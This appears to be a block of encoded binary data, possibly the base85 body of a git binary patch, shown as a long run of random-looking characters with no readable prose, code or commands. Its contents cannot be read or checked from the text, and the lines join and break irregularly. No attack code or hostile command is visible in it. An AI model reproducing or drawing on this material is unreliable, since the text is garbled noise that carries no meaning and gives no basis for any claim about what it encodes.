zN?>8V+2DzvhX#ez3~!-IUQ3av8c?_0t;z$(Q2nlTP}O}|z{w%4rCTgepFAk2rYlS^ zQ#o2pBBmqkTqFKk&q*)SCRPm`!}OYUFvZrj=Hmpcc?|Ro3G0)s#~pZ0?Gww*u~OQ_bP_dOnQ4<0|+&wx&kt1Xd*CXJA&GW9euy zUW}1PDykwI-}M&eBYx9wSE+T?kQ3c@V?50*7kv+PfV6i^jc}-pvPP7&2KzTBKan3(^R*6#b<=mr@A z2EQ#W-H(zA_Ia2gk5-E$NW?GrC*lBNWeU)uM#=8FLust-C+*7u$7YE&G*`Eq%)9C zN-p*^v_b2qlWE*3%(&yLq==dtUWXx2T9}oYMrn=6IwW~g0jkP?d#qGRcx+aao(GOi z`Y_N_^=5s!w>&)1wn;uX&ltL~!TX*GJ?MEs@pIpl-3F}AMuZU+=>3hu{Ah5K4 zG~84Ea;v>My#BV&Cquijb)jD7(KiM2Wl~|jEGw9K;26x-I(;NLgY1y)8QoZY9~;6T zyId;JmuCeu54-`;Nf~5^HfN9-ptoX>Jzgr%kIxEd9(W_56EesSZO$MIfZl>Z_5`Uw zKOrlidEgk(mO%#9ouEN>XmbXc!Fr1Z*%eaZz9K8QdEgk_mO%!%6EesSZO$MwP;bE? zyHYC5S7rq>54-`)rEay`>wtB`ImpJxaSL;WLQ0X(eI5_y6hpy;VM3#OG~B59-4#w-#__>bE=I$)!5VduaDJIYg;K zL)%A*F8_q`gjcEb8~eafc59Ixp|uwLwVjm~if}cLAzMEt5 zm!#_Y0Z^*!hi4d0(}c=E9P~=@QhxoCGE^Ug{ObmBrD1kU1$uW@8iogsX&7C{qcCf5 zoTZ9A!vkpV=&ttordAmsH)d3kQsk(KAX_(bkC|PtJvzbYyMu(#|aurJTA6d%XG4~wAw-G#zuc& z1kChL*Y}(qI)r@T9u5(*t5?o`99x<7Av&~nj>G76~Yko z_wZfPDITb8bW{b>4*n`y-n6?g=67oC`U)~JDxu^!)H|iy5Va?;c+zcIb%9wN<;5jX zsayC$wT*(44WEj%dClrFic6jiq916sPz|-{AH&BDgpbo-=V#}v)ZNw~NY4c=&p?No(Tu5P;OD-GpUY^o1y#xM!#M z@1C3+&(XtUNg)|QQCI?^vuE2V4n?Z>=ScsRS{FwUfIo6nz2?v4tlWnbRgsnZj3E8? z5~|8;Nvryx(%otSr#@?T?V2D#?KP@xOEc))TQlVeSv7Ude1S2?Gl8tghTlBaT~dqr zt+;dQ5*otW!qa}L;I+p7R{BX-@PT@fHnAf-aBN|CB!bn6fgs|MJwys0N(Rdxr21?M z8C8F)*HMP~LcK#p*LwBN5_C-Wq>swYN_(?4-k<0F)uBV`*IPyjO43TKJl9F52gYf>1h)Eo94O53v;_vNN;C6Gk}x_j!o`!4Wwl?!_TA{e(;uLrucQr z?jw6dgSi(*(gQUw=w@;q>cn=AD}DSlsgOM_E68}@7-W~`I-ORnjw1F8u~hmb=j8Kg zP6E4XFr3%o)O`z0GChs;jI!p(+O6ISX>kpAhtzVXN5xt(p<$xJ{;eK|;Z1AtavhcZ zSC(4X63{5P54~K%NAUTOTE0W7K-`g)KpdulV*>H0a;sZyfSy9S3aFdcHeUbx_6~bPlx(Wq=fMiT*<2dE8 zWNWons+`ONkp|URR^al$F>ue<;3DU8qPgHd1hyqPcc1R@U6p!;KZg+Q8_oLVyxK7V zLp_uG6FD4SOy@KrK^@NuR3116>IKH6N(oii$|Ng;qG|yiXy`DoN2CIKBr9Nf;25x} zc}PbedD=rdq=(dUIEA+N1Gz_=t>*QCioz&RVG%79VPcU+?ROs(jz;8eF&rtFfnW2xdpg-k( z;SWd^iU+b1itlv_#X0lF%$M&BuSmtTk`<;ra7@QP>ZHLmdvEwNrDFEXtT5w&W0;*c z&+c#o9JrR`vYfdOyed@;s#%FajRua1!8!BOZS73kDIV|zsn9ND1uYL8gZ8|WJJAJB z;Sy(G=-!ktiF?VfYa%VNJx)m1t||4gY>L=N~>|=o^J|C z7K!LmR*3SzF+@}Ie2;v6aL;!n_`q_K?Av;9u)e7}%0}(vce=P0gMzjX1IGq$3(13exO?z$znByR_(+!=5BCX0Rm6X`17m|v zf~_JKhLc$>3_NgbVMr-9_$8Ue28T5$MWInphDcF(C@WETj&qjppy1%=Nrm)zSwYGJ z$7Z*n;Na&=h3xrRLB<2eAiJa=92|;+0Q-{ki#{(N8(a^i?y1g*sf7lApHy-9zO2OI z1x}@WW{DFX6F;K5J(92CQ&I*cVp^e~$h%V8Dhe27G8Q=DQpFv-P%45i%nCssI5weo zTr}Z}qyqb*tbpZ#W5A~7QyD$uv`cfilkt|AJ~q$IJs$0 z%lgrT+d}l9zLu9`2l%sUX$3DO`C4A#T<|lFCVb^~2wVs|3mXO~`k(rI!f1#x~wqc zfn%7Z8)}%fOYQYirQr2hNx>Uv;FuJgH80ku_C~1?zA-BZdEhvNJ0?KsO;QnkQ&x!b zz%fKqbEb{FV{m6$zl&}^e@llZEw&ns)=4W+ zc{`@fnA7hy(bVi2IJRh8hzNS5wPHfSyDyky8<{cPY^bRmK zZMV~wBE#R2l}_h@V>&&h*rE)*ASIU<?r}4!`c4>F4M2CEZt>mqV~E(Najy z@D8KqaC;SnL>ExPYymC2mr)X!lc_0begVaQsV=3eV-^%ZQj0*ofhuW1Lszw2>vFv6 zxcgmFQGQoeDD%LvNq-Jk8w)BTB#LlJmoigDV5xo%nM=-9yl=pD2>V(CE=`6Wu?+ps z6twS_3hleIf|du4L3{2*GY>NuC8c4^f@ev_BUNKn>J+Rf!Q`uI&w;&7wW^!PRjFBy zSJ5*V6~o)D2EaD<+ip`&_8>}md$5b%BNgcPWCb)290U6Nzy_Y~EzkSygt5K@^{)&@ z{i=k#E$UaQToZl;<$I+<`QEIc6=xDi^q`w+Nl_;6-;T*N?p&t> zzJ+$%>&KUD3%P^tw?B?`!9%*_?6*ImsEX{jGmbC$Bv>SJ@BGQE^fnJ1)7vS> zmt;|`>Qhpo|5R4cf7&@iPw6-krw8Q^q)NsgWF;AYIftdr(z<71__qoe1Zv=%vWr*x*jx8+3nJ@!Qv%1_LKrjoz~F=#NOz z5B3?)Ry!o>ho)zi8lv#$+cAlbIGrXTk?1?2ymh-HZVSDGdQH9zN6Ej^WCs)JlH)b` zTSZmGYqA5Q6uttsiuAO6B`YP*1ILtnN>K_gOgvY^oMvs*9Z_osO3?VKR2lecRx^^Hkt?1XdHxsY)ck zzM^i`^(F^%Mj%&bm;Wdg$A8QUM;qPd|dou_SM zYN@7LrfCWg_uFn)R~3B!EET?g&I&#rI0m2Tjb?bb83-SC|BVmg`{q(g+x!;%e7a{W zVQNAO?W+5z*K{a|-mai$DY{iM(C*fU3fHgUz9J2#uVsZR4;;hwLd|qqGj~ddw11I` z?Z0G&Ee{;SHa(BW=T3V(g0?@rsju`m?iFiB4dm{S6g={8+cC8!Hs=RfKYnCeC?3=k zLivf0w$?W>o{&-f1QAb2w(%pQ#2$%@^yo-Nid+pGQ{<;!{KzN?qDbgRvx5HNN^eAF zX!`LZ5`0^uXGj%?GqMtgGo9k_$oZY%+!{SwDx7C$1t$+2Q|zf#FG$F{HF}OzAkWDP zNFF!_vciuCj^TIC{Bm`NxVA>mlZxqiSz*cp$1pv!u6N?#SCa1L zr28I?ULY0F3$g-~2aW-nob@xnGv=SD*L?luNO2#9=CxAMyf!N|d0+>c z<#Mqyo6Fx>pdiUJuodamx_Cuap}9PztwZmb&%))*`tOds!iMmP zU7AZb(@(l0Ur2kNjPk%SMSTh$``-f2rp?Xp^5lRsgs%F0^cMO_SLnm^i5)$p293DjUBJoQ595= z)lc|*mPlO(yv1IlfvvZa*8kE(gik;eb2KO3D0?<(wl5J`=f2CWU zhf7U=y4d!g-SeBZIvjDFiqk}iX7aNw``xA10@H${&d{M|(0o`Qdv5huv)O`&k4q)= zYbSWO&EHPhw72b_zulYnkvBxm9l($IRj<|bJ){vWw@@-660l!lKjAnY2FIT|Wvs)6 z5~}qk9tV%0E@BMjAk~|_R0)dfqho3TLxitTPO|fB*B{4rR}u4pgd~oHGf5p7oeyq)Rd3S+TXUS07iwxTRm49ZFf zwqFeHRIDbzi9s;YYcOM8B`3u_!LG&nC_;|8N!o9qkK zF7+-`Ha^EMDiH6N3gZ1)fye{LKz!8Udbb#CiV{|(x1-Zdm%;1ryViuVsJv5KVF9~EApolJI~*>il~)xQ?rwW z%6PGG*X}*ua<$fODW43xj*9-VYI~u9z%bIV`Pn%{+t-%rU35XhW3dyg1*n`4pBiX3pOUWp@j2$1cf zB(yiiqsJ~S#0?PiZ1tMIBF7i9?3`wgI1CHwAV^JelXQ(Y3B3$Q>>&>`fklp#wVoI( z;K~kbV&K$;C1uC|Et`#|(h9~E3DSy!X!}9pfny-0 zW><{9!C_Z4-F+QTpKEn2F+qoVjHQyB_IQyuPq*B^$%w% zn>fdk6#GgWzSNaOe$WH1^#fhEh1QU55Lrd|SGBr~z7TrkHP%Wa$E^E)O`#@UA8}>aq z47o?mOFq^7QK=~YXjUllz%dlhn}<(X@UiBPNyYKUvci!Ej^TLGygJGZ&IKq;3cO3u zNjh>#>`3$UNhXzN0vNB5DyFZouxyrRgujVP=J!^QmJM&3{fRr{?vwMzzzq-gL_I{D-=JvqN>Dwi@NWVfZ-C z{ru{3L6cW0br+cm3QqKcscKJDHD{@k z4?DosVS}$HjXHS!IovL7pVyX-^nQ*WnJ)Wzw}IGE9yq4EA6fJf2GUsq1qoUeyAVgx zI9XjqsD+QBOf8Od;=VuDgx29uP^KQp`uT0(!Il8~c?H+@1I7c#0DDYnwOKQ>P4zBL z7`uD=YPGts0O9Bmf@n&+;B_$eQoGfxKc`AbWC-F}-+74X{+{d<(WMP}#)^Tr0tDH{oVOVWUDBEs}oy@p%^V}l{A znPN=MHpfw49JZJW2boP_*) zr6T{{tdRdLC-UdcFXy`5c748=cz(&Q=US$BFveb>xV+Lv-o^syf+{0sv_c>b6p8Qc zMoZknY^8kPY@u@99ufem<4_H5rM@sdHajyhU9RM)TI6*UOOLLsBm(c3Dgy7%N(4UW z6oK+sdO>ZNeE^^Qo!`KC61&`ZDJld`PMYd?+gs_=r;k&YI^M zp;%MFup|}#Grd`qIUyBIai47rK#(sZNd^i4>U^Q!KRKBD*mfg_1o<{V6%)HqEY8iA zvF;Q06Q!B_(c;YX%v{MM9YOQ_qf$ZsXjUNqjuYfF=cRbZJ|-2hk7b1z4-8obW9ZUh zp@?4~7gahoS&ELakK++Un%y7I3SS;LhHrX~vH!OT#~7Uhl9Mw~!2P|MUY3J1N1Pe9 zDMLT-lR_txvlNSQuTwq7yE}86e!gUfj{$YICe%M!aVT$Zj6Qf?blQc=C`K_ad_koS z^CH0R9E{{Tz+98?5^7r!UH!Y8?V)n^()NPuZRx^e16IU}`ruY-Qjau0wH=di(&=g| z7?CQNW9@U$;xdgx&qw(QGUGolRTMs-l_>nV zbC#c-n!jewo&9JQbj$OCh9|w+5)~S-N*cgbGd?#tsXBI)OO=`F$@|nn=@+Cz`-QBa z<$+_f{JhCl?Kl@(rtaAZmwVY&@c6E(jD_*81|xclb-%G-cd}t~E8N9V!TCk0aDFi> zIC)Abcz85H>f&DA!71mfqm7Uu0z?w&OE%Ol!X!-=6 zvepT|z3SEK?OLziZLca=za$mbFJ%QQ4;+IvwO!lj#iw^|N$uMD8xDk>hNDmi+_Fgu zoA~SPn3~gD*vqXSHL)#Z54xNCCrspTlO_Q#>5{XX`)5T}#QB$T)Wp}oB9S|@uMxNC zVif!TrA_Q84;)(!c23lU3Ynl&lntULzAhE|uPflUANqe)@)nt)>F0k-+MoZMRH^v4 ztfbm|N<$)dAKG@TV-lG49R6PG9D?EAN7@lXJ4DbZUvsgu&=y|`nRc_&=syS|KnX`8oO31i*$ z<&03@^%WX8hWcd|>UreJwp$GxG_W5N983`Uh7G+LVrcZ${#z3c54)nA1mLSu1>mb$ z3BcbCDgd+XR<~7aQDEDU0&oDgFjq(b%n%6+z>21v1mN%SPoxI;`>X`uADselm8AiA zIt5ujW|o4HL&^aa_BGdXDvDrgVr+tnW+Qo?77<$$z>6hQ5dJAEL2$ceJWCLWodGwK zlY<+L5a4Gs6**7~LdPixQk^urvU1Ywayw}rZwW#m1V&>6xgnK-y(ol)zzi|;q7V?R zPv`Ar;Tux5!8fwf2LHa^vM^SfJIvW6`O*Z1qmv0Ii~}$ zK6ZGeKmRZKNmuB@Z6KBhj?G+clsRYaRQ;hOwD3*VlioZis5~}DN2%HR-?)iLJpWsv zx&3(Zz%e|ZxXx@Xp}>C){fNNIAx*5CEl3Xy3aJ_1LX{?gNK_4|+dfNq;25gkwGOJ| zew8{<4G-!q7N}1i6jVKWA5)6q5Q*ssYhdE9^_<&5tQt6m={4(Mik(UgWs%@%0D(i! z)hAnzJMfy?C%{6Mpp`gVM@GzawH}pTrcJCGIEL)i>mbW{I8@>hk=DQ=KS>eh9$8cRw3m@^Dew%Z(heXxhvp&tOh5O#8{;Ab5 zHNI8EknN_CGo@mCW>(npz%gvs)5haL2YE1aNOt_ZC96lc(CJjv(!rbSgAliHY=cc;0=JDsyC_N(C|Rp3-91SOiA0=H@ho9EA%lW>6pY*CKcw(vVxfhj=^jhWJi)S$PR7JAUj6Y|4~wCD+bx+Qh~laE1-Gc4S-I{AUm`< zgUkTE6@%>YQh|PaRzUN>8v&h=L3U_!23Y{~77Vf{NCo-{Spm%h$AGpBGN|qZ4YEU< zGsq0qTQtb7kP7z|S;5T%$KbXMGQgdXL3U_!2AP3+3kKPhQenO_E0}rU4PZupt8T9Y z)(yAC8Xw0k%oRFibUMfk%sRKK!$c_mmxsHEJZ1E2h&qvcfGo z5eh&}I>E!?@C>EP9rVn-J@n{$cF%9tR?!aNS-nno8TI{5HBjTjRygjKisSCAaO8nw zIO=@IK8~~XZjIWY4GExaH(%}XO*h1Bk5tU|WQ7?I9K#H3+O_Lp{D1#HA`!oFU{n8H z{Yrnh?)&z4?ANhB!W;CteL23v(JnF4@83Vy@!OsKi_6sp&LXXjgh9c&;Aj{K5et4y^POpQ6} zJA_|JNUgUZsYvC9QQGWw_HyqlHO~sDcN>~~+|Q)ihF_7jARYbAx4KKX*NHkx1kl_( z+QN}A<^dX`n8KZSej35dNs@3fmQsc!Br#!lZ2qd(^tpZMZxGiX9Rm?>(ppF#J|@mz zdN(+1mMNwrz+}DYdsEck$n)sIFQoshi>T%yghaI0k>UDe$3E^`JuFXtznK%|z5`(0OHtbM1 z;g0Y+_5^ArsNTH<#j{tHmsOpaaARH3gec%~Y2O_z{8;pt>c@D&E#Qe$#$wY_1(J?x z?i;BhAUBYz4L&AhQ-08iO$c4FTq2565IWpBW1%Ao))l&^r;o)}gl;M#bTU-gv{R}s ziK()Q>B?AsEGeP-Ktz+}#|9Uw>6!AxIAZeJ^=iYZ!?5w7pjz(nVkFLRQ*@kd+c!E~7$L+Qf3X4MGNTHWIS3Od-2Rq>$a~ z6tc&;G}+-|A$Mm|y6huiUB>s8q|FpT8;RO|GDYnHk)rmXQ`F-2KNij6#PpG*B<(|C zNuyg!5;Ue~BRTtCnQ~SYDQELeIlIE8(#DIqsRH_>&Lp;czN;^7?k(k}*2w;T(qV?d zO5^q=_WrVpzfiT${B|3S`j+4rZq?WjL+e1*aPWk7j^H2y#-O*-YIn&AM)_1JZ^pK= z0az3%W5=8_cBM7YmWH`F2cUQel%NU(e36!zpB4w=Mlri#Lhy7(( zFK6ziX3x`!3fcRz7P5tEx9U;DrFO5mc~PTeB!Qx~B2v_z?G!cM1&q&4=gSi_)49pY zSfP|JPRy1ETrJPuJq83zXg*JY4Rjg*`kCef^>*xk&7;WsBYy~qthM2YXsKf$9P#iu zPQ)9#*lY4>6V^7I`_$U?6;#vN$KP~*)WIrw0{6mt+H2M+hucH$ey>LLTD*C*+dTno zSDmLbT09GmWJxYps;iAwbpZ!d-K8E}9o42jxo!I^2$aNGKE7F{l@~r1j@&wlc7!$lPHS=Z9^&sw1R>y9t&NsvT^v52je9@9 zxs&(Tn-6*hKF=d`>Ew8RwTmM*WZuzW&`@rQ(NfK39$6g}`zCOjK8Hk*E-iyH+>Xyx z6h%%@uB8>hoS(MZ6+Xl@)mlw8%}N(f@^ESyYW`Y3nX$>t+%#{ipB4-355CXi!&o{} zU1^~L4owaob}#is<@w0RuV!?W+QR~(4Ou#z?bpTV&(jXN>^0zoB)L^CM?4**PyZR; zn&jq1_$N?qegI_sti?1La`S^uxp_2O5>)6PFBm-#pJ3SA1Hqv_#Dwp!Gra1}b;|tr zr2?o&%lw1TesTYo$P|H>5VPq5dG?jEwEmD9(#&psx_Wtl@pQ}7%`h_*#0`nIUBmaJ zjkXzLD8QSoegW8y(JIyw6X=4M;z?5GuF;YVr~_OZX!G5d()Z{JeV96_Kca?=2*O2y zAms8>1|ASLqy*SuuB(Yl02vdxc^G5WS~rO0Ks1Yw$PQ=%BNVhAybS*Y%D~H50JdEQ ze#|KYm-S_!OaWh5gUtdxyd>Beq0g};!3;5!E?`M0a|9+?4lBCDgKcpJ>VV=C1d77T zvk`??Iz_>?E*PMOmxVRg1vA7@vS6k7iFWD3HovJr$=I|V_xEXfGG8wn(>wlNY6 zQbP+vC^hN%i7SSxcY^8e=Q*t_60ead60gZdB!1E<5*G){1YXcqKcT%r4!k#4)fR;0 z_69_4e}nK^j3#g)cx^Udzs?D^idmxhKiy)tPGW7p>_y;tHr&SgOl%P_cA#wyu%9U~ z30^N#5?-H;B)nlDNl0u3IIyN9m?09A1efj)OTrsvO2Qknk%TunCE-F|04T({Na?1X zZYNpq;r)H@p>Y@UOzm&?YbxLxzCbm;@`7u3cfHf;!AEW-I?claPmzh7`nv1QG9mtX zkoC)o-*}}CL$Z&L{spH5uvMsn-A@@OFX(L}kw08NP+KQVx=wL4^yCG` zX$sC#a0X}*!Z|;*71Um05TgM9MVWyAVm5&Dura{d(9`)WlSpI%=&c1DvkX0z zZ?LEG0~-L{iBP)r26YtDZKBK^i;(2?Ambg9TQ-6aNHio_A)WdEV`mGuAx)@G*F2DLOG>&6C?u^SFY+=!Bn% zQR~QiWuo~$koEhDwRk1PvGZF_uzA~Wbz4cko3p(eywPP+sJ7AW08xeW`@uwkv-bVj z%vv5cW-mO6e6&s=^N8r3sy3^~e5xo$@;IEQ&ffIh<^q%kL}a!ZaXn-|AQRaSWP>aZ z8$NLccXcRBW&$ev=jUq#TscF~)qMS+OjJLZ4XQkB4Am#DiRxILg6zpr zGd#HVe(sP9Ts4?SqpdejKO_^;4`qWW4;w>t_nL^7(ZP9Tsnzt0a9k$coBOFQSc4Hg zHRO8Oepn{9AI=6_9yW%pN~tK#9WLKDTd3qqeKRTGG_88WPguJ=_xG%iEHAU`XyK2@ z#PuWD;L5|saOEU$r`0sqOr+bd-JSae7oI%MdeifxGGY8^HZbzAF&Ou(se1FRUbEX? zRZZ*@LG;PM!(6w!5Y)BZapzA%#}?wv<25}<>9V3 zI(RT2@h4>h{K;$p=3!$1KVeOEoX^cpfPq6UuLTV%{ctX?x?jLVX>8iVi0dihPvIT{ z74fIC!IOuL;d#}XcouN#-fsE{EUk8nu$x_z)eN;Bn7=0z%-_ofOdd7{<~j#B<>3!- z4%!E-M_f4OI;+jvQoGe`AuXcZt~NW1h{&Q%>w3t3S|+le&IVZ?Hij%0#Ii$b$5AY* znsj>1(QvFpP++G)hc?K8;IM6qt)ZbQ=M6cq@!(o@H1~%xQT-#3^(TZZe$pi)4(pE< zMUglx4zi`j6ou*h%owW2R%WOTL~G^nkQ<&+&z{Oxdxa{RGEwa{8HU<|z*wo2Tqsib9raF653@8;csc;hcw~o*fo(U`^~OLkV$_ z7&d@Whdh5)CXS!Y21gz?h9j?}AsovmTM6N3$3a}<#19^;C}^LP3EJnf0gZ=^fyVKK z_98jU#bT39A)Os)jnrjoO$yNlYvt!#x+xgjZ75%0E{WMb^smX&<8s9;2SX zkP$7>^>Mm|s+(MQ7>gk{b)$;bez0mPi{~%EB7y7UUt}{ydDz$#J=mO7RY$_`WC;s4r#%6b~B%>HFzkCHKn|>*CqEk}XPK+u2D$r$?0=hoq#?ejaI6%Po`^ry;E| zxK2%f1XLD3xm1To;207tgR4NSefD@d)1{wVJ@tSE}?InGdQ2E~_9ZegF> zL3-gMB9EybY%@w@*91u@YT&f3o&u(Wx}M#HDb0fZ9L6N&DL|96;Wv+Um((8RYal3P z(F`GNAsJzX`c;4aHTp?cK&>x(yMotP<6a}(uaBMnBIMGJ9{bHbh(FgR4AgLWw0~4Scxc2@~`7x%KY34 z^j}xNZ#VS+s-!J4qsdA$bx3)k0?*DQ88~=LGD7g6ceh@t&<|lAhhtV%@y?203mTz% z_2m_{VD$@*sYRW^=ffCo*Wn#T_fvHwLnwbkCd%K)2IYTuqMV+A_kT|tc&d*tC*TiY z;8|;C-+bAGb=Pb)uMaFdHgU`>A{9y3_L+U(N`LB2I@X0g-&|%N43q08#@90Zwt?i( zng9;PE;U6*9)`Wtqtt8uiU`AR`0?_iYa4Lm@rf;YD4dU%CA%W6h%m|v4>7o!Ok{J z5$audTS|jj$D?$T!xUgkYqTc z|EbSME~B4xMLtj2Eazck>N_PL>uM%GR;U5E-bOB$iTmXW_3g&}2};x=cKNw^>*x^t zN^;x$UeCU{@vM@L4%XSddT)hOJJge<1>NU{u z0q1>GKfHxMTdY3>vrX;luq+>V=)f)B_3ZCz@s7_v9NmjbrbvOHO`Sfbr3HmZGTS=# zGL!UNAyay;$VPgua!OBnM&J9sBaObk?P8s+Lplet_yoCLN3KqP@=R>b6kONux*ha} zOa!necBvUQLb~UB)NB5V48QAs=lmDqcctW+bgiav1d)YK3`KfFBYA*+(iQnqx}=Wq zurUMg6!g1N-c7o^G*Bu49Z-glRiBR>q@Q$!K1`d`ksH;J5&JHEziXx@K1E#$6oH!< z|7{n6Tbv?r-u$v{hl69MjeH8VqlK1Ax(Sq@Cubu+PjSjmdPe?_Z{EmPMH3hNPOV*E zLB!|AzFo7i!=8^VM%_=40`WM`HrR_|3yM(Ow$I(|QupKXgA8QX2jLXk7CABU)byvt z2IjlMxxXJ;->Q?4#KzY#ugd z>Zjz(eQqYcTvi0MR8uV@fyhr}gZ!P&34QTYwbS+66HWZLh@7Trj%fwslC<~^dcpm@ zc+hNKudl(fszReCWuiBk4SGCmY~Ef}YE)170drFUZ{ND$ja9qVzH?q7M|Fw>&bz5> zkmF%v$fai@zwJA~MDAO8me+f5`&g3Sdp7;aa_9Pf@3`T-zUO-zC?3>weg;-~U#)9k zqZHHme&fi=-Q&C9=r6=Gj>2S1IP&<`^zx{T-+VCgXIeF43SAkHXEv7r1pDVzSX0f60jUcKzg|Rh+6wGvHEAC+anyyGC=J zw9z(03{}e#9vV7X_0Y`3?pi@GZglzM8lMkYdQq zW77$P&NC<9)Lx~*v1TS)n3TcGWXizHvXOxwbIQPFeHkcITPeionI?b3OM=~{;W@S> zm?4JJ1uO|=$N*FAt+ZR+R;|@AW*;6bs28&9w+0# zC|R)Ag>?ntRWb$PRoMu_tDS;yWuO!8MnTtB+ZYK3siB2o-0p_<{KORlcJNI1^?|9d zu1LH_rbxUd8Ia7hCn$=7eoHn8 z^RO}3Ux4rtziR_r^gAo9W{0Xq4vDb69lU=7gxh|%UH8#@VJ(!~nk@8eROd9haESu^ z7i9wei`f9q!^QyTWnN9`u6?dGG|)HLQ~7}nfaaPqFx6_kcAHvLINbN))*9w`M|X03 zt4yTdnhnxC?Al0UYA1`dJ*787`WRIY8UpFJ$wc~X*&xls#*k(oj-J!nIZA++x>%}* zpV#(D&PED+ka@iXZ)0bvdfZ3<7;d!-D)qGfC7EFVQZ``ouraXtu+G?IhueO2xYlQM zSa-vX;Jdl*-cWUu73R&;$mTSz?bm#iZf--5SJiBA)H`Ma{b_^kK7ykBa z(B)xc=(5XYdZs)v4x5`o;}V+0_Tu~nZ@Sg(_uJrhIS5;#^mo-)s!HeU&0{`JU>Qxv z>P$zn&WXI2L;QMZ9CZ?Pz#%9>@$aItEq}^{z+>I`sqUxK5 z+Ob*HCOlB^ewjeNKN}!<*cgycBDb9r$b7ZYn5s6b$GH33@POJ@-)$~HX+X5jG$XEu z><45b`+;nbWq94izQ64si=?@4Y1IQKhqRV%Hn8I7_pFaB zFSF~+*^kJ?^&{Ef%EQKRy<$yVIjw(qJa4h^yupR1Dj%>8j31Q=<43cBk%x`JxMxim z^Q~U9+g>d}1J|eq;qZu31w(V)?m|=#iM}Ly%=MJ-Z{t=1mG5t7gDwxd33P*HZf1po zKoba8KV+cA&v6&J!I0hz5)f1`ZytL+lz&Gi%DFfH_S@*&T}@zt zz10HvRu{k+%`?NThw1Oi#PoNw!IX!MVY;?cVj69pTkYe>%_F}sSUIHKWQUSDof3LL z$_Atn*F*MWGLijQHpud@F=Ve(p~RUS5m>e}0!!b4rZ*?|F-46J#BDSkS)Il*`v;`#}hxPBrVTzS|Su4~WMsa~U7 zPfQDsS+Evdvz3Rt-ss@Le8iuW3GgSg0hou40sMqD)p0&IONCsARKo=eSm*Lefq<>1 zH&Gg!_AugliuhA9@%&Uac=E6@Jg-_4&jOA?+f6@#rPWTuxY;#X%~0!s`Fk?K{Jm_z z9{vF5pnbr4#D!z7v)ZgJwOdUp##3%rn;mpy^Jvq$95h6fs#kl3YHbOzuBe_w;gH>Gy@@&q z95mHhp*DUhu;w!|A^S`=knylF$k@#gg)G-x$Q`XV7BzIk`H@CF`-J?!n%Gf8j4Fa> z8jD^BB116h@VC#(#PPG);K;+qaAc(#!m)g^l@NaRk@z)E{NTKZg7!I?pnWbI(0JGw zXy=nzGn*?;l<%udLw_ZzBd1#)3e45JtE#UlEpM<${Xlan9r+hBVfu?~VB%q8Fr88NOY;Aarhx-iz(-&mI^o49-;$dSj*|VvDq~{@VvbEl|9^G&dp#D-OP=A>X zP(19qKuuNK!v$)OdUjCHwFtCpA0Gs$FUkb!i`f9h!^VKRz*2mr74&l%a!TEVzc<&D zJig-~P<;u1BhXd-rEH+$VPjA+TOVeatA7%KcuAE?ROrW6^g%5izAj=!lle6O?A z>Y;ctk{VFw4p|qqMsLB#%{d~pv5FenT@T-__PQ-pN=3=MMq{=AwQ9#}`ab=^{3_>b z(74O3g&yv#2Bi!Mz8318m1-A0g(bhb0B2C6h4Op&LnL}k&W-2xk1>s%{kX%vCCa6^ zGJS+55@RiB_0p%86##}=^CAheugDiu7WgY^=>Cv;mPI-vLMj#4@x@Cu|CN-E^#%Nb z{$2Q$zVW8C>`!}lpe8cS7sN%?DsVoUCPefWekCEb-h!kegOO8_I(t2;7pvx30mXJP z+4_^OyM%g?)JL?YCMNR#=UYfP8uPh)B+bpElr)5SfLko0oFvUm$Tda?<|Ik@Zv0Cb zl90rN;fb&qztZRSrN2R3fAo=dtG80YLoil&47^EeA$|CmIDhHgIE(QvU5~)Ol%G50 z+wUPZ#a7upclxXIt!jG#1=b-2^rGlfeR+~LB%6^7yxKY5@jT+fh4i0wsatMx&BWgm z5-C6KmZb=!y+S`C3CcREz*JXH`ANo{z&!!-T)DGw-{F~DajY^0zxsHgSeY!0m-FS~ zBt5|S`YFtht$=kR&@Z|d!EqxlZ6zg87)na!SGzt{caN8-HGlG?j@R%PyX=~8qXr?~ zr)63fHNX9|W#6_F12>QbCIax_r`;f)+Xjbr+i#}r*TAQbHPwBq*Ins#jc~5H4^>q1zJ&La`&u6DT#lNL8}vR3(?k#G;fh&P+}wDHtnB3Wg$YL(xdF1ui(YW%uTiNYSV}MdOl~ zXxy1A=caQ>Ei%WG6bnV#dP~f+WGai}A|;~Xl!&!YLt#XErCPOleT`4ZJ(7{6PD3dq zRhpJ3_Rs~=UPaG}ONPPNR8&O_#;~`sl&=(u#hGG-6#dNI1@hD-Vm7Yn($}n_ah#X_ zT(@-&Sh^$3EpCk*3mgcWTj2QYOsQNM&rKwD_B<@JHQfQTWyo*aDZgPyXdu6H(_@8k zB+gO1ga`rF)C=Qj$H~)2hn9EnG_i$!Sjp7%3gcpTFfJaJB8!?{VO;DD#zijek%T8> zSXtEc3ge=?WqNEzi_wdkUSV8Zqknl+FLK!m39_i^6~@Jf2Ak1bC_(}kHNC>PxH=dY zk4RZvG`+&O_?*GGcvK1(HNC>P_}sy`m{<_guxqrYR~Q$cHy9V6E=3kKy~4Qo{K2@G z*vZ$hvZ(15#>MX&jEiD?6PjLOT>Kw{agnMqiSR~fdWCWE1%q*MS_&66y~4Qo!oj#W zBZZ5aUSVAP{=v97D}{@iUSV8((O_J>O9~e?y~4Qo;=#Bm=CDT7D~yZ(b1*KJq{yPC zR~Q$6U@$HwmgF?7)vf6j#>F2TjEfWmFT!5b^a|tRO9tcO-BP%y=@rJs|1}sF?~%eq zO|LL6{?K4tq_hPQGg{LtjEgTFjEnb4;i9Hj7#DwdFfKkr3KuoK!npV&PA*;*Jp(*g z$xV+{3iswGb5ptU#Ecm4gr;8@S6}AjYB+5H5hph=S94;_NKLjdX8x#?nX!<*8=09$ zbETtGxuO_bga-`0nHf4; zDCP^(<=hc5krkSJVN896ld0j14KVc&@Gz;V8PdGXG z*cc~E$d(mjOKGBovGOOKtc+#p9M0wMEY0TfVz{a47RJrjI=OjaR4~gqG1(BBVqtvz zDJLIes#26hYMO;{@^wy5ULBRlsfp>i5-;nNJ60^^XNqE`x_$&Cen9PfU)9 z5nBBm!npe;CwF6xz*1pqB0n<;9+NYWUrBKU>L(D!*PnIrHD-k6s1`zTX7*@-8GF~< zOj(S;>PHa9*q?JU_S&eHJyOiw4W8!dbVZ&n&<`PuwQqK^c6XGu`I)Jy9P@OtP%2f* zM|0Da(!>!laRB-;gfaK$oy?6bV`DQ)T#pnBIXDI7aaTWwFz)_>leeyY8AR zlqh(mA}K;ZKZP*fzQxJgn7@$96jqX~l{ai8w5D4aH-FK|&BsI~b)38WN+=Sb2^Pl2 